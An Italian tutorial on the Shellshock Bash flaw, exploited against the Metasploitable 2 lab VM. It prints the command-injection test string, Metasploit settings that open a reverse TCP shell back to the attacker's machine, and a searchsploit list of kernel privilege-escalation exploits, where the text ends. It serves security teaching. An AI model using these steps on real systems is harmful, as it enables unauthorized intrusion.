Cos’è Shellshock?

La vulnerabilità Shellshock consente a un aggressore di sfruttare vecchie versioni di Bash che salvano in modo scorretto le variabili d’ambiente. Tipicamente, quando si salva una funzione come variabile, la funzione della shell si interromperà dove è definita per terminare da parte del creatore.

Le versioni vulnerabili di Bash consentiranno a un aggressore di eseguire comandi del sistema operativo che vengono inclusi dopo una funzione memorizzata all’interno di una variabile d’ambiente. Vediamo un semplice esempio in cui definiamo una variabile d’ambiente e includiamo un comando maligno successivamente.

$ env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"

Quando la variabile sopra è assegnata, Bash interpreterà la parte y='() { :;};' come la definizione di una funzione per una variabile y. La funzione non fa nulla se non restituire un codice di uscita 0, ma quando viene importata, eseguirà il comando echo vulnerable-shellshock se la versione di Bash è vulnerabile. Questo (o qualsiasi altro comando, come un one-liner per una reverse shell) verrà eseguito nel contesto dell’utente del server web. La maggior parte delle volte, questo sarà un utente come www-data, e avremo accesso al sistema ma dovremo comunque ottenere privilegi elevati. Occasionalmente, potremo avere molta fortuna e ottenere l’accesso come utente root se il server web viene eseguito in un contestoelevato.

Se il sistema non è vulnerabile, verrà stampato solo "not vulnerable".

$ env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"

not vulnerable
  1. env y='() { :;}; echo vulnerable-shellshock': Questa parte del comando imposta una variabile d’ambiente chiamata y con un valore specifico, che è una stringa che contiene una funzione Bash malevola (() { :;}; echo vulnerable-shellshock). Questa funzione sfrutta la vulnerabilità Shellshock.

  2. bash -c "echo not vulnerable": Questa parte del comando avvia una nuova istanza del shell Bash utilizzando l’opzione -c, che consente di eseguire un comando specifico nel nuovo shell. Il comando specifico che viene eseguito è echo not vulnerable, che stampa “not vulnerable” sulla console.

Quindi, se il sistema in cui viene eseguito questo comando è vulnerabile alla vulnerabilità Shellshock, il risultato sarà che verrà stampato “vulnerable-shellshock” anziché “not vulnerable”. In altre parole, la funzione malevola impostata nella variabile d’ambiente y verrà eseguita a causa della vulnerabilità Shellshock. Tuttavia, se il sistema è stato correttamente patchato e non è più vulnerabile, verrà stampato “not vulnerable”.

Questo comportamento non si verifica più su un sistema con il patch applicato, poiché Bash non eseguirà più il codice dopo che una definizione di funzione è stata importata. Inoltre, Bash non interpreterà più y=() {...} come una definizione di funzione. Ma piuttosto, le definizioni di funzione all’interno delle variabili d’ambiente non devono essere precedute da BASH_FUNC_.

Riassumendo possiamo dire che in sostanza, Shellshock funziona consentendo a un utente malintenzionato di inserire comandi pericolosi nelle definizioni delle funzioni all’interno delle variabili di ambiente. Questo verrebbe classificato come un tipo di attacco di code injection e poiché Bash elaborerà questi comandi dopo la definizione della funzione, praticamente qualsiasi codice arbitrario può essere eseguito.

Shellshock è in realtà un’intera famiglia di vulnerabilità costituita da molteplici vettori di sfruttamento. In questa guida sfrutteremo il vettore di attacco dello script CGI, in particolare il modulo mod_cgi che fa parte di Apache HTTP Server.

In che modo Apache e CGI giocano in questo

Apache è un server Web open source multipiattaforma sviluppato da Apache Software Foundation. È robusto con funzionalità come hosting virtuale, schemi di autenticazione, SSL e TLS, messaggi di errore personalizzati e supporto di più linguaggi di programmazione. Apache ha anche un modulo chiamato mod_cgi che gestisce l’esecuzione di script CGI (Common Gateway Interface).

CGI è un protocollo progettato per consentire ai server Web di eseguire programmi simili a console direttamente sul server. Questi programmi, noti come script CGI, spesso gestiscono dati da pagine Web dinamiche e interagiscono tramite HTTP. Una nuova directory, generalmente denominata cgi-bin o qualcosa di simile, deve essere designata per abilitare l’esecuzione degli script CGI. Quando un browser richiede l’URL di un file specifico contenuto nella directory CGI, il server esegue lo script e l’output viene restituito al browser.

Quando vengono eseguiti gli script CGI, informazioni specifiche vengono copiate nelle variabili di ambiente. Tali informazioni verranno successivamente passate a Bash se viene chiamato, fornendo così a un utente malintenzionato un modo per iniettare codice dannoso. Fortunatamente, il team di Rapid7 ha sviluppato un modulo Metasploit che rende molto facile sfruttare questa vulnerabilità.

Exploit con Metasploit

Metasploitable 2 è un’eccellente macchina virtuale piena di vulnerabilità con cui allenare le nostre abilità di hacking.

Affinché questo exploit funzioni, deve esserci uno script eseguibile situato nella directory /cgi-bin. Utilizzeremo un semplice hello.sh, questo script Bash funzionerà a scopo dimostrativo. Passiamo a Metasploitable2 e andiamo in /usr/lib/cgi-bin e digitiamo il seguente comando:

sudo nano hello.sh

Inseriamo la password corretta, quindi scriviamo all’interno quanto segue:

#! /bin/bash
echo "Content-type: text/html"
echo ""
echo "Hello world!"

Premiamo Ctrl-X, seguito da Y e Enter per salvare. Per rendere eseguibile questo file, utilizziamo il comando chmod:

sudo chmod 755 hello.sh

Possiamo verificare che funzioni correttamente navigando nel file sul server web:

Sulla macchina Kali, avviamo Metasploit digitando msfconsole nel terminale. Siamo accolti da un banner casuale e dal prompt dei comandi di Metasploit:

┌──(k0bra3390㉿kali)-[~/Desktop]
└─$ msfconsole
                                                  
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%     %%%         %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%  %%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %  %%%%%%%%   %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%
%%  %%  %%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%  %%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%    %%   %%%%%%%%%%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%  %%%%%
%%%%  %%  %%  %      %%      %%    %%%%%      %    %%%%  %%   %%%%%%       %%
%%%%  %%  %%  %  %%% %%%%  %%%%  %%  %%%%  %%%%  %% %%  %% %%% %%  %%%  %%%%%
%%%%  %%%%%%  %%   %%%%%%   %%%%  %%%  %%%%  %%    %%  %%% %%% %%   %%  %%%%%
%%%%%%%%%%%% %%%%     %%%%%    %%  %%   %    %%  %%%%  %%%%   %%%   %%%     %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%          %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

       =[ metasploit v6.3.21-dev                          ]
+ -- --=[ 2329 exploits - 1223 auxiliary - 413 post       ]
+ -- --=[ 1385 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: You can upgrade a shell to a Meterpreter 
session on many platforms using sessions -u 
<session_id>
Metasploit Documentation: https://docs.metasploit.com/

msf6 >

Possiamo facilmente cercare exploit utilizzando il comando di search. Digitiamo search shellshock, individuiamo il modulo apache_mod_cgi_bash_env_exec e copiamo il percorso:

msf6 > search shellshock

Matching Modules
================

   #   Name                                               Disclosure Date  Rank       Check  Description
   -   ----                                               ---------------  ----       -----  -----------
   0   exploit/linux/http/advantech_switch_bash_env_exec  2015-12-01       excellent  Yes    Advantech Switch Bash Environment Variable Code Injection (Shellshock)
   1   exploit/multi/http/apache_mod_cgi_bash_env_exec    2014-09-24       excellent  Yes    Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
   2   auxiliary/scanner/http/apache_mod_cgi_bash_env     2014-09-24       normal     Yes    Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
   3   exploit/multi/http/cups_bash_env_exec              2014-09-24       excellent  Yes    CUPS Filter Bash Environment Variable Code Injection (Shellshock)
   4   auxiliary/server/dhclient_bash_env                 2014-09-24       normal     No     DHCP Client Bash Environment Variable Code Injection (Shellshock)
   5   exploit/unix/dhcp/bash_environment                 2014-09-24       excellent  No     Dhclient Bash Environment Variable Injection (Shellshock)
   6   exploit/linux/http/ipfire_bashbug_exec             2014-09-29       excellent  Yes    IPFire Bash Environment Variable Injection (Shellshock)
   7   exploit/multi/misc/legend_bot_exec                 2015-04-27       excellent  Yes    Legend Perl IRC Bot Remote Code Execution
   8   exploit/osx/local/vmware_bash_function_root        2014-09-24       normal     Yes    OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)
   9   exploit/multi/ftp/pureftpd_bash_env_exec           2014-09-24       excellent  Yes    Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)
   10  exploit/unix/smtp/qmail_bash_env_exec              2014-09-24       normal     No     Qmail SMTP Bash Environment Variable Injection (Shellshock)
   11  exploit/multi/misc/xdh_x_exec                      2015-12-04       excellent  Yes    Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution

Interact with a module by name or index. For example info 11, use 11 or use exploit/multi/misc/xdh_x_exec

Carichiamo questo exploit digitando use seguito dalla posizione che abbiamo precedentemente copiato. Ora dovrebbe esserci un prompt più lungo che indica il modulo attualmente caricato:

msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) >

Digitiamo options per vedere le varie impostazioni per questo modulo:

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > options 

Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CMD_MAX_LENGTH  2048             yes       CMD max line length
   CVE             CVE-2014-6271    yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER          User-Agent       yes       HTTP header to use
   METHOD          GET              yes       HTTP method to use
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPATH           /bin             yes       Target PATH for binaries used by the CmdStager
   RPORT           80               yes       The target port (TCP)
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI                        yes       Path to CGI script
   TIMEOUT         5                yes       HTTP read response timeout (seconds)
   URIPATH                          no        The URI to use for this exploit (default is random)
   VHOST                            no        HTTP server virtual host

   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.176    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Linux x86

View the full module info with the info, or info -d command.

Possiamo lasciare la maggior parte delle impostazioni predefinite, ma dovremo impostare l’host remoto sull’indirizzo IP della destinazione e l’URI di destinazione sul file che abbiamo inserito nella directory /cgi-bin, in questo modo:

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set RHOSTS 192.168.1.245
RHOSTS => 192.168.1.245
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set TARGETURI /cgi-bin/hello.sh
TARGETURI => /cgi-bin/hello.sh
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) >

Successivamente, dobbiamo scegliere un payload. Digitiamo show payloads per visualizzare i diversi payload e le informazioni relative a ciascuno di essi:

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_aws_ssm                                 normal  No     Command Shell, Bind SSM (via AWS API)
   3   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   4   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   5   payload/generic/ssh/interact                                       normal  No     Interact with Established SSH Connection
   6   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   7   payload/linux/x86/chmod                                            normal  No     Linux Chmod
   8   payload/linux/x86/exec                                             normal  No     Linux Execute Command
   9   payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   10  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   11  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   12  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   13  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   14  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   15  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   16  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   17  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   18  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   19  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   20  payload/linux/x86/read_file                                        normal  No     Linux Read File
   21  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   22  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   23  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   24  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   25  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   26  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   27  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   28  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   29  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   30  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   31  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   32  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   33  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   34  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Una reverse TCP shell sarà sufficiente, quindi digitiamo set payload linux/x86/shell/reverse_tcp per abilitarla:

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) >

Digitiamo di nuovo options e possiamo vedere le impostazioni correnti per questo modulo, incluse le informazioni sul payload:

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > options 

Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name            Current Setting    Required  Description
   ----            ---------------    --------  -----------
   CMD_MAX_LENGTH  2048               yes       CMD max line length
   CVE             CVE-2014-6271      yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER          User-Agent         yes       HTTP header to use
   METHOD          GET                yes       HTTP method to use
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          192.168.1.245      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPATH           /bin               yes       Target PATH for binaries used by the CmdStager
   RPORT           80                 yes       The target port (TCP)
   SSL             false              no        Negotiate SSL/TLS for outgoing connections
   SSLCert                            no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /cgi-bin/hello.sh  yes       Path to CGI script
   TIMEOUT         5                  yes       HTTP read response timeout (seconds)
   URIPATH                            no        The URI to use for this exploit (default is random)
   VHOST                              no        HTTP server virtual host

   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.

Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.176    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Linux x86

View the full module info with the info, or info -d command.

Alcuni moduli Metasploit hanno una piccola funzione utile che controllerà se il bersaglio è vulnerabile. Digitiamo check, se il modulo lo consente, verranno visualizzate le informazioni sulla vulnerabilità o meno del bersaglio:

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > check 
[+] 192.168.1.245:80 - The target is vulnerable.
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) >

Possiamo vedere che il bersaglio è davvero vulnerabile, quindi usiamo il comando exploit per lanciare l’attacco. Viene aperta una sessione di shell e ora possiamo eseguire comandi come id e whoami per visualizzare le informazioni sull’utente corrente:

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit 

[*] Started reverse TCP handler on 192.168.1.176:4444 
[*] Command Stager progress - 100.00% done (1092/1092 bytes)
[*] Sending stage (36 bytes) to 192.168.1.245
[*] Command shell session 1 opened (192.168.1.176:4444 -> 192.168.1.245:34196) at 2023-07-18 22:19:53 +0200

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data

Privilage Escalation

Useremo un exploit del kernel per aumentare i privilegi e ottenere il root, quindi prima dobbiamo trovare alcune informazioni sull’obiettivo. Poiché abbiamo già una shell, possiamo usare il comando uname -a per visualizzare le informazioni del kernel sul sistema. Il comando lsb_release -a è utile anche per scoprire quale distribuzione è in esecuzione e le relative informazioni sulla versione:

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit

[*] Started reverse TCP handler on 192.168.1.176:4444 
[*] Command Stager progress - 100.00% done (1092/1092 bytes)
[*] Sending stage (36 bytes) to 192.168.1.245
[*] Command shell session 2 opened (192.168.1.176:4444 -> 192.168.1.245:59113) at 2023-07-18 22:46:43 +0200

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 8.04
Release:        8.04
Codename:       hardy

Da qui, possiamo cercare un exploit da utilizzare. I comandi che abbiamo appena eseguito ci dicono che l’obiettivo esegue Ubuntu 8.04 con la versione del kernel 2.6.24. Kali contiene una versione locale di Exploit-DB, un database che contiene vari exploit, codici e pubblicazioni. Possiamo accedervi con uno strumento estremamente utile chiamato SearchSploit eseguendo il comando searchsploit dal terminale:

┌──(k0bra3390㉿kali)-[~]
└─$ searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stack Clash' Local Privilege Escalation                              | linux_x86/local/42276.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation                                                                                         | linux/local/160.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Escalation (1)                                                                                 | linux/local/22362.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Escalation (2)                                                                                 | linux/local/22363.c
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (3)                                                                       | linux/local/9844.py
Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Privilege Escalation                                                                                    | linux/local/145.c
Linux Kernel 2.4.30/2.6.11.5 - BlueTooth 'bluez_sock_create' Local Privilege Escalation                                                                          | linux/local/25289.c
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local Privilege Escalation (Metasploit)                                                            | linux/local/19933.rb
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation                     | linux/local/9545.c
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Privilege Escalation (2)                                                                        | linux/local/926.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3)                                                                                             | linux/local/895.c
Linux Kernel 2.4.x/2.6.x - BlueTooth Signed Buffer Index Privilege Escalation (1)                                                                                | linux/local/25288.c
Linux Kernel 2.4/2.6 (Fedora 11) - 'sock_sendpage()' Local Privilege Escalation (2)                                                                              | linux/local/9598.txt
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5)                            | linux/local/9479.c
Linux Kernel 2.4/2.6 (x86-64) - System Call Emulation Privilege Escalation                                                                                       | linux_x86-64/local/4460.c
Linux Kernel 2.4/2.6 - 'sock_sendpage()' Local Privilege Escalation (3)                                                                                          | linux/local/9641.txt
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation (1)                                                                    | linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2)                                                                       | linux/local/8572.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)                             | linux_x86/local/9542.c
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1)                                                                                            | linux/local/33321.c
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation                                                                                             | linux/local/40812.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'logrotate prctl()' Local Privilege Escalation                                                                                  | linux/local/2031.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (1)                                                                                    | linux/local/2004.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (2)                                                                                    | linux/local/2005.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (3)                                                                                    | linux/local/2006.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (4)                                                                                    | linux/local/2011.sh
Linux Kernel 2.6.17 - 'Sys_Tee' Local Privilege Escalation                                                                                                       | linux/local/29714.txt
Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2)                                                                                       | linux/local/5092.c
Linux Kernel 2.6.17.4 - 'proc' Local Privilege Escalation                                                                                                        | linux/local/2013.c
Linux Kernel 2.6.18 < 2.6.18-20 - Local Privilege Escalation                                                                                                     | linux/local/10613.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation                                                                                                | linux/local/50135.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)                                               | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)                                                  | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)                                               | linux/local/40839.c
Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1)                                                                                         | linux/local/5093.c
Linux Kernel 2.6.24_16-23/2.6.27_7-10/2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x86-64) - 'set_selection()' UTF-8 Off-by-One Privilege Escalation              | linux_x86-64/local/9083.c
Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation                                                                               | linux_x86-64/local/15024.c
Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation                                                                                           | linux/local/17391.c
Linux Kernel 2.6.29 - 'ptrace_attach()' Race Condition Privilege Escalation                                                                                      | linux/local/8678.c
Linux Kernel 2.6.30 < 2.6.30.1 / SELinux (RHEL 5) - Local Privilege Escalation                                                                                   | linux/local/9191.txt
Linux Kernel 2.6.32 (Ubuntu 10.04) - '/proc' Handling SUID Privilege Escalation                                                                                  | linux/local/41770.txt
Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)                                                                                                    | linux/local/10018.sh
Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1)                                                                            | linux/local/25444.c
Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation                                                                                              | linux/local/15285.c
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation                                                                         | linux/local/15704.c
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1)                                                             | linux/local/18411.c
Linux Kernel 2.6.39 < 3.2.2 (x86/x64) - 'Mempodipper' Local Privilege Escalation (2)                                                                             | linux/local/35161.c
Linux Kernel 2.6.9 < 2.6.11 (RHEL 4) - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation                                                      | linux/local/1397.c
Linux Kernel 2.6.x (Gentoo 2.6.29rc1) - 'ptrace_attach' Local Privilege Escalation                                                                               | linux/local/8673.c
Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)                                                                                                     | linux/local/33322.c
Linux Kernel 2.6.x - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation (1)                                                                    | linux/local/25202.c
Linux Kernel 2.6.x - Ext4 'move extents' ioctl Privilege Escalation                                                                                              | linux/local/33395.txt
Linux Kernel 2.6.x - Ptrace Privilege Escalation                                                                                                                 | linux/local/30604.c
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation                                           | linux_x86-64/local/45516.c
Linux Kernel < 2.6.11.5 - BlueTooth Stack Privilege Escalation                                                                                                   | linux/local/4756.c
Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' Local Privilege Escalation (3)                                                                                  | linux/local/9575.c
Linux Kernel < 2.6.19 (x86/x64) - 'udp_sendmsg' Local Privilege Escalation (2)                                                                                   | linux/local/9574.txt
Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation                                                                                        | linux/local/6851.c
Linux Kernel < 2.6.28 - 'fasync_helper()' Local Privilege Escalation                                                                                             | linux/local/33523.c
Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation                                                                                               | linux/local/8369.sh
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privilege Escalation (1)                                                                        | linux_x86/local/15916.c
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86/x64) - 'CAP_SYS_ADMIN' Local Privilege Escalation (2)                                                                    | linux/local/15944.c
Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Privilege Escalation                                                                         | linux/local/14814.c
Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation                                                                           | linux_x86-64/local/15023.c
Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation                                                                             | linux/local/17787.c
Linux Kernel < 2.6.37-rc2 - 'ACPI custom_method' Local Privilege Escalation                                                                                      | linux/local/15774.c
Linux Kernel < 2.6.7-rc3 (Slackware 9.1 / Debian 3.0) - 'sys_chown()' Group Ownership Alteration Privilege Escalation                                            | linux/local/718.c
